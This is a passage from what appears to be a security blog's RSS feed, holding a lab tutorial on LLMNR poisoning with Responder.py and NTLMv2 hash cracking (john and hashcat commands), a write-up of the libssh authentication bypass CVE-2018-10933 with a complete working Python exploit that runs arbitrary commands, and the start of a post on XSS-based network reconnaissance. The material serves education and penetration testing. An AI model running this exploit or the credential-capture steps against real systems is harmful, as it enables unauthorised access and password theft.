          <title>Controlling the domain controller (Part 1) - LLMNR poisoning with Responder.py and cracking NTLMv2 tokens</title>
          <description>&lt;meta property=&quot;og:title&quot; content=&quot;Controlling the domain controller (Part 1) - LLMNR poisoning with Responder.py and cracking NTLMv2 tokens&quot; /&gt;

&lt;p&gt;&lt;img src=&quot;https://jlajara.gitlab.io/assets/images/posts/20181104/1.png&quot; alt=&quot;Controlling_1_title&quot; /&gt;&lt;/p&gt;

&lt;div class=&quot;message&quot;&gt;
  This series of articles will focus on Microsoft Windows Active Directory security. The techniques described are not of my own, there is only for education purposes and a useful cheat sheet of how to go ahead in a Windows domain based infrastructure.
  &lt;br /&gt;&lt;br /&gt;
  This is a long article, so if you want to go to the attacking part, navigate &lt;a href=&quot;https://jlajara.gitlab.io/posts/2018/11/04/controlling-DC-part1.html#attack_part&quot;&gt;here&lt;/a&gt;
  &lt;br /&gt;&lt;br /&gt;
  &lt;b&gt;Notice that the attack could be exploited when a user or a service fails to navigate to a resource. A bad configured service/script/program or a bad access for a current user, could give an attacker the possibility to extract a domain password.&lt;/b&gt;
   &lt;br /&gt;&lt;br /&gt;
  All Controlling the Domain Controller articles could be found here:
  &lt;ul&gt;
    &lt;li&gt;
    &lt;a href=&quot;https://jlajara.gitlab.io/others/2018/11/04/controlling-DC-part1.html&quot;&gt;Controlling the domain controller (Part 1) - LLMNR poisoning with Responder.py and cracking NTLMv2 tokens&lt;/a&gt;
    &lt;/li&gt;
    &lt;li&gt;
    &lt;a href=&quot;https://jlajara.gitlab.io/others/2018/11/11/controlling-DC-part2-multirelay.html&quot;&gt;Controlling the domain controller (Part 2) - Multirelaying NTLMv2 tokens to gain authentication.&lt;/a&gt;
    &lt;/li&gt;
  &lt;/ul&gt;
&lt;/div&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;what-is-an-active-directory&quot;&gt;What is an Active Directory&lt;/h2&gt;

&lt;p&gt;An Active Directory is the most common infrastructure in corporate networks. It permits centralize and share information like user accounts, shared folders, printers in a usefull administrative way. When you form part of a domain, you account use the domain identifier to authenticate and see what permissions you have (jlajara@domain.com or DOMAIN\jlajara), so it is easy to log in a computer of the domain, connect to the company mail, use the enterprise printer and access to shared folders.&lt;/p&gt;

&lt;p&gt;Based on Microsoft description:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;A directory service, such as Active Directory Domain Services (AD DS), provides the methods for storing directory data and making this data available to network users and administrators. For example, AD DS stores information about user accounts, such as names, passwords, phone numbers, and so on, and enables other authorized users on the same network to access this information.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;blockquote&gt;
  &lt;p&gt;Active Directory stores information about objects on the network and makes this information easy for administrators and users to find and use. Active Directory uses a structured data store as the basis for a logical, hierarchical organization of directory information.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;a href=&quot;https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/get-started/virtual-dc/active-directory-domain-services-overview&quot;&gt;More info&lt;/a&gt;&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;what-is-a-domain-controller-and-why-is-juicy-for-us&quot;&gt;What is a Domain Controller and why is juicy for us?&lt;/h2&gt;

&lt;p&gt;In an Active Directory infraestructure, there must be a brain that centralices the activity of the users, resources and permissions. So a Domain Controller is this critical part. A good defintion from techopedia could be:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;A domain controller (DC) is a server that responds to security authentication requests within a Windows Server domain. It is a server on a Microsoft Windows or Windows NT network that is responsible for allowing host access to Windows domain resources.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;blockquote&gt;
  &lt;p&gt;A domain controller is the centerpiece of the Windows Active Directory service. It authenticates users, stores user account information and enforces security policy for a Windows domain.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;And… &lt;strong&gt;the DC stores all the users credentials to handle authentication&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;A computer with all the users in the domain = &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;GOLD&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://media.giphy.com/media/4SQMqhWzUA0Fi/giphy.gif&quot; alt=&quot;GOLD&quot; /&gt;&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;how-windows-stores-credentials&quot;&gt;How Windows stores credentials?&lt;/h2&gt;

&lt;p&gt;A Windows computer stores credentials in a hashed (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;LM hash&lt;/code&gt; or as a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;NTLM&lt;/code&gt; hash) format within files in the &lt;em&gt;C:/Windows/System32/Config&lt;/em&gt; directory or &lt;em&gt;HKEY_LOCAL_MACHINESAM&lt;/em&gt; registry. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SAM&lt;/code&gt;(Security Account Manager) contains the hashed passwords, however they are encrypted using the boot key within the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SYSTEM&lt;/code&gt; file&lt;/p&gt;

&lt;p&gt;Theorically, SAM files can not be accessed or copied while the system is running. But there are techniques to extract the SAM database. We will discuss in further articles.&lt;/p&gt;

&lt;h3 id=&quot;has-a-domain-controller-a-sam&quot;&gt;Has a Domain Controller a SAM?&lt;/h3&gt;

&lt;p&gt;A Domain Controller use &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;NTDS.dit&lt;/code&gt; instead of a SAM. The Ntds.dit file is a database that stores Active Directory data, including information about user objects, groups, and group membership. It includes the password hashes for all users in the domain. It uses Extensible Storage Engine (ESE) as engine.&lt;/p&gt;

&lt;h1 id=&quot;-attacking-llmnr-poisoning-with-responderpy-and-ntlmv2-cracking&quot;&gt;&lt;a name=&quot;attack_part&quot;&gt;&lt;/a&gt; Attacking: LLMNR Poisoning with Responder.py and NTLMv2 cracking&lt;/h1&gt;

&lt;h2 id=&quot;what-is-llmnr&quot;&gt;What is LLMNR?&lt;/h2&gt;

&lt;p&gt;The Link-Local Multicast Name Resolution (LLMNR) is a protocol based on the Domain Name System (DNS) packet format that allows both IPv4 and IPv6 hosts to perform name resolution for hosts on the same local link.&lt;/p&gt;

&lt;p&gt;A normal workflow is the following:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://jlajara.gitlab.io/assets/images/posts/20181104/3.png&quot; alt=&quot;LLMNR Workflow&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Therefore, when a user/service try to connect to a resource or host (ex. \jlajarashared), the following steps are used to determine the IP:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;1&lt;/strong&gt; Search in host file &lt;em&gt;C:/Windows/System32/Drivers/etc/hosts&lt;/em&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;2&lt;/strong&gt; Do a DNS request&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;3&lt;/strong&gt; Broadcast a LLMNR package waiting the response from the network.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This last step, has security implications. &lt;em&gt;What would happend when a malicious user replies to that request saying that he knows the resource?&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://jlajara.gitlab.io/assets/images/posts/20181104/5.png&quot; alt=&quot;LLMNR Interception&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Therefore, when a user/service tries to access to a unknown host, all 3 steps to search the resolutions are followed, if not, the following error is thrown:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://jlajara.gitlab.io/assets/images/posts/20181104/2.png&quot; alt=&quot;LLMNR Error&quot; /&gt;&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;llmnr-poisoning-with-responderpy&quot;&gt;&lt;a name=&quot;environment&quot;&gt;LLMNR Poisoning with Responder.py&lt;/a&gt;&lt;/h2&gt;

&lt;p&gt;&lt;a href=&quot;https://github.com/SpiderLabs/Responder&quot;&gt;Responder.py&lt;/a&gt; &lt;em&gt;is a LLMNR, NBT-NS and MDNS poisoner, with built-in HTTP/SMB/MSSQL/FTP/LDAP rogue authentication server supporting NTLMv1/NTLMv2/LMv2, Extended Security NTLMSSP and Basic HTTP authentication.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;A LLMNR poiser&lt;/strong&gt;, just what we need to intercept LLMNR packages and see its content. But how it works?&lt;/p&gt;

&lt;p&gt;Let’s set up an Active Directory environment to test this attack. It will consist in the following:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;1 Domain Controller (192.168.56.99)&lt;/li&gt;
  &lt;li&gt;2 Windows 7 machines (192.168.56.10-20)&lt;/li&gt;
  &lt;li&gt;1 Attacker (192.168.56.1)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&quot;https://jlajara.gitlab.io/assets/images/posts/20181104/4.png&quot; alt=&quot;DC Environment&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The following steps are going to be followed by the attacker:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;1&lt;/strong&gt; Configure Responder.py to poison LLMNR events (turning on SMB and HTTP server)&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;2&lt;/strong&gt; Start listening to LLMNR events in the network interface (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;vboxnet0&lt;/code&gt; in this case)&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;3&lt;/strong&gt; Automatically poison LLMNR events to extract hashes.&lt;/li&gt;
&lt;/ul&gt;

&lt;script id=&quot;asciicast-OSygoUOAmtUPXlQZRRN3HirVT&quot; src=&quot;https://asciinema.org/a/OSygoUOAmtUPXlQZRRN3HirVT.js&quot; async=&quot;&quot;&gt;&lt;/script&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;ntlmv2-hashes&quot;&gt;&lt;a name=&quot;ntlmv2_hashes&quot;&gt;&lt;/a&gt;NTLMv2 hashes&lt;/h2&gt;

&lt;p&gt;At the end of the previous Proof of Concept, a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;NTLMv2-SSP&lt;/code&gt; is retrieved… but what is this kind of hash?&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;NTLM (NT Lan Manager)&lt;/strong&gt;, is a suite of Microsoft security protocols based on challenge-response that provides authentication, integrity, and confidentiality to users. Can be obtained by MiTM techniques, by dumping the SAM or memory database (Mimikatz) or by extracting the contents of NTDS.dict file in the Domain Controller. 
There are two types of NTLM packages:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;NTLMv2 has the same concept as NTLMv1 but with a stronger algorithm.&lt;/li&gt;
  &lt;li&gt;NTLMv2 does not allow Pass-the-hash attacks.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;how-a-domain-controller-checks-authentication-with-a-ntlm-package&quot;&gt;How a Domain Controller checks authentication with a NTLM package?&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;1&lt;/strong&gt; A user tries to access a shared directory.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;2&lt;/strong&gt; The client machine sends the user name of the server in plain text.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;3&lt;/strong&gt; The server generates a 16-byte random number (challenge) and is sent by the client computer.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;4&lt;/strong&gt; The client encrypts the challenge with his password hash and sends it to the server (reply)&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;5&lt;/strong&gt; The server sends the following objects to the domain controller.
    &lt;ul&gt;
      &lt;li&gt;Username&lt;/li&gt;
      &lt;li&gt;Challenge sent to customer.&lt;/li&gt;
      &lt;li&gt;Response received from the client.&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;6&lt;/strong&gt; The domain controller uses the user to obtain the hash of your password stored in NTDS.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;7&lt;/strong&gt; The domain controller compares the response and if identical authorizes access.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;That is the NTLMv2 package explained:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://jlajara.gitlab.io/assets/images/posts/20181104/6.png&quot; alt=&quot;NTLMv2&quot; /&gt;&lt;/p&gt;

&lt;p&gt;So… if by encrypting the challenge we get the answer… can the algorithm be cracked?&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;cracking-ntlmv2-hashes&quot;&gt;&lt;a name=&quot;cracking_ntlmv2_hashes&quot;&gt;&lt;/a&gt;Cracking NTLMv2 hashes&lt;/h2&gt;

&lt;p&gt;NTLMv2 could be cracked if the challenge produces the same response after is encrypted using the correct user password. We could speed it up with &lt;em&gt;John&lt;/em&gt; or &lt;em&gt;Hashcat&lt;/em&gt;&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;john --format=netntlmv2 hash.txt
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;hashcat -m 5600 -a 3 hash.txt
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;In the next Proof of Concept, a dictionary is used to speed up the cracking proccess:&lt;/p&gt;

&lt;script id=&quot;asciicast-keNDq795LXrw33u1bI5wuZnPm&quot; src=&quot;https://asciinema.org/a/keNDq795LXrw33u1bI5wuZnPm.js&quot; async=&quot;&quot;&gt;&lt;/script&gt;

&lt;p&gt;But, what would happen if the password is not in a dictionary or has a minimum security requirements, we will see in the next Controlling the Domain article.&lt;/p&gt;

&lt;hr /&gt;

&lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;

&lt;p&gt;&lt;a href=&quot;https://github.com/SpiderLabs/Responder&quot;&gt;Responder.py (SpiderLabs)&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://github.com/lgandx/Responder-Windows&quot;&gt;Responder.py (Lgandx)&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://www.notsosecure.com/pwning-with-responder-a-pentesters-guide/&quot;&gt;Notsosecure&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://medium.com/@petergombos/lm-ntlm-net-ntlmv2-oh-my-a9b235c58ed4&quot;&gt;Cracking NTLM&lt;/a&gt;&lt;/p&gt;
</description>
          <pubDate>2018-11-04T00:00:00+01:00</pubDate>
          <link>https://jlajara.gitlab.io/controlling-DC-part1</link>
          <guid isPermaLink="true">https://jlajara.gitlab.io/controlling-DC-part1</guid>
        </item>
      
    
      
        <item>
          <title>Libssh Authentication Bypass Detailed (CVE-2018-10933)</title>
          <description>&lt;meta property=&quot;og:title&quot; content=&quot;Libssh Authentication Bypass Detailed (CVE-2018-10933)&quot; /&gt;

&lt;h2 id=&quot;about-the-vulnerability&quot;&gt;About the vulnerability&lt;/h2&gt;

&lt;p&gt;Peter Winter-Smith &lt;a href=&quot;https://twitter.com/peterwintrsmith&quot;&gt;@peterwintrsmith&lt;/a&gt;, has discovered a four-year-old bug in Secure Shell libssh implementation that allows anyone to gain unfettered administrative control of a vulnerable server. 
The issue is basically a bug in the libssh library, not to be confused with the similarly named libssh2 or OpenSSH.&lt;/p&gt;

&lt;p&gt;The vulnerability &lt;a href=&quot;https://www.cvedetails.com/cve-details.php?t=1&amp;amp;cve_id=CVE-2018-10933&quot;&gt;CVE-2018-10933&lt;/a&gt; (6.4 CVSS) is described as follows:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;A vulnerability was found in libssh’s server-side state machine before versions 0.7.6 and 0.8.4. A malicious client could create channels without first performing authentication, resulting in unauthorized access.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The vulnerability was introduced in version 0.6, released in 2014, and survived until October 16th, 2018 whereupon it was fixed in versions 0.8.4 and 0.7.6.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://jlajara.gitlab.io/assets/images/posts/20181024/2.jpeg&quot; alt=&quot;Meme&quot; /&gt;&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;about-libssh&quot;&gt;About LibSSH&lt;/h2&gt;

&lt;blockquote&gt;
  &lt;p&gt;Libssh is a multiplatform C library implementing the SSHv2 protocol on client and server side. With libssh, you can remotely execute programs, transfer files, use a secure and transparent tunnel, manage public keys and much more …&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;What systems/applications are using libssh and are affected by this vulnerability?&lt;/p&gt;

&lt;p&gt;Debian, Ubuntu, SUSE, Cisco and F5 Networks are addressing patches between others. Also this library is in use by many small applications and embedded systems, among them GnuGK, a VOIP gateway service.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;how-the-vulnerability-works&quot;&gt;How the vulnerability works?&lt;/h2&gt;

&lt;p&gt;The vulnerability makes it possible to log in by presenting a server with a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SSH2_MSG_USERAUTH_SUCCESS&lt;/code&gt; message rather than the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SSH2_MSG_USERAUTH_REQUEST&lt;/code&gt; message the server was expecting.&lt;/p&gt;

&lt;p&gt;This a workflow of the authentication schema and authentication bypass from Guardicore:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://jlajara.gitlab.io/assets/images/posts/20181024/3.png&quot; alt=&quot;Workflow&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Normally, in a typicall conection, user sends a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SSH2_MSG_USERAUTH_REQUEST&lt;/code&gt; that contains the client’s username and authentication data, such as a password. When the server validates this content, it allows the connection.&lt;/p&gt;

&lt;p&gt;The problem is when an user sends a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SSH2_MSG_USERAUTH_REQUEST&lt;/code&gt; the following code is triggered:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;SSH_PACKET_CALLBACK(ssh_packet_userauth_success) {
  (void)packet;
  (void)type;
  (void)user;

//...
  session-&amp;gt;auth.state = SSH_AUTH_STATE_SUCCESS;
  session-&amp;gt;session_state = SSH_SESSION_STATE_AUTHENTICATED;
  session-&amp;gt;flags |= SSH_SESSION_FLAG_AUTHENTICATED;


//..
/* Reset errors by previous authentication methods. */
    ssh_reset_error(session);
    session-&amp;gt;auth.current_method = SSH_AUTH_METHOD_UNKNOWN;
  return SSH_PACKET_USED;
}

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Then, the servers session object is set to authenticated and when the client sends a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SSH_MSG_CHANNEL_OPEN&lt;/code&gt; message, the following state verification in ssh_packet_channel_open is bypassed.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;if (session-&amp;gt;session_state != SSH_SESSION_STATE_AUTHENTICATED){
    ssh_set_error(session,SSH_FATAL, &quot;Invalid state when receiving channel open request (must be authenticated)&quot;);
    goto error;
  }

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;about-the-exploit&quot;&gt;About the exploit&lt;/h2&gt;

&lt;p&gt;Paramiko is used because is a Python implementation of the SSHv2 protocol, providing both client and server functionality. It would send the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SSH2_MSG_USERAUTH_SUCCESS&lt;/code&gt; to take advantage of the vulnerability.&lt;/p&gt;

&lt;p&gt;A socket to the vulnerable libssh server would be openned (in this case port 127.0.0.1:2222). After that, a Paramiko client would be started pointing to the socket and a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;MSG_USERAUTH_SUCCESS&lt;/code&gt; would be sent.
After establishing the connection, a command received as first argument will be sent and the response will be returned.&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;sys&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;paramiko&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;socket&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;socket&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;socket&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;connect&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;127.0.0.1&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2222&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;m&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;paramiko&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;message&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Message&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;t&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;paramiko&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;transport&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Transport&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;t&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;start_client&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;m&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;add_byte&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;paramiko&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;common&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cMSG_USERAUTH_SUCCESS&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;t&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;_send_message&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;m&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;c&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;t&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;open_session&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;timeout&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;c&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;exec_command&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sys&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;argv&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;])&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;out&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;c&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;makefile&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;rb&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2048&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;output&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;out&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;read&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;out&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;close&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;print&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;output&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;proof-of-concept&quot;&gt;Proof of concept&lt;/h2&gt;

&lt;p&gt;The vulnerability will be tested using the vulnerable libssh docker of vulnhub (&lt;a href=&quot;https://github.com/vulhub/vulhub/tree/master/libssh/CVE-2018-10933&quot;&gt;More info&lt;/a&gt;).&lt;/p&gt;

&lt;script id=&quot;asciicast-0L5hQwxb2uGyER6I0NrL9q7Dy&quot; src=&quot;https://asciinema.org/a/0L5hQwxb2uGyER6I0NrL9q7Dy.js&quot; async=&quot;&quot;&gt;&lt;/script&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;1&lt;/strong&gt; Test that root user has a SSH password.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;2&lt;/strong&gt; Nmap to detect the service running.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;3&lt;/strong&gt; Detection of a vulnerable version of libssh (0.8.1).&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;4&lt;/strong&gt; Using the exploit to execute commands.&lt;/li&gt;
&lt;/ul&gt;

&lt;hr /&gt;

&lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;

&lt;p&gt;&lt;a href=&quot;https://arstechnica.com/information-technology/2018/10/bug-in-libssh-makes-it-amazingly-easy-for-hackers-to-gain-root-access/&quot;&gt;ARS technica&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://www.guardicore.com/2018/10/libssh-new-vulnerability-allows-authentication-bypass&quot;&gt;Guardicore analysis&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=ZSWQjmfcn4g&quot;&gt;Ethical Hackers club&lt;/a&gt;&lt;/p&gt;
</description>
          <pubDate>2018-10-23T00:00:00+02:00</pubDate>
          <link>https://jlajara.gitlab.io/libssh-bypass-vuln</link>
          <guid isPermaLink="true">https://jlajara.gitlab.io/libssh-bypass-vuln</guid>
        </item>
      
    
      
        <item>
          <title>JS-Recon detailed. Analizying the internal network with a XSS</title>
          <description>&lt;meta property=&quot;og:title&quot; content=&quot;JS-Recon detailed. Analizying the internal network with a XSS&quot; /&gt;

&lt;p&gt;JS-Recon is a network reconnaissance tool written in JavaScript by &lt;a href=&quot;https://twitter.com/lavakumark&quot;&gt;@lavakumark&lt;/a&gt;, which makes use of HTML5 features like Cross Origin Requests(CORs) and WebSockets.&lt;/p&gt;

&lt;p&gt;JS-Recon can perform:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Port Scans&lt;/li&gt;
  &lt;li&gt;Network Scans&lt;/li&gt;
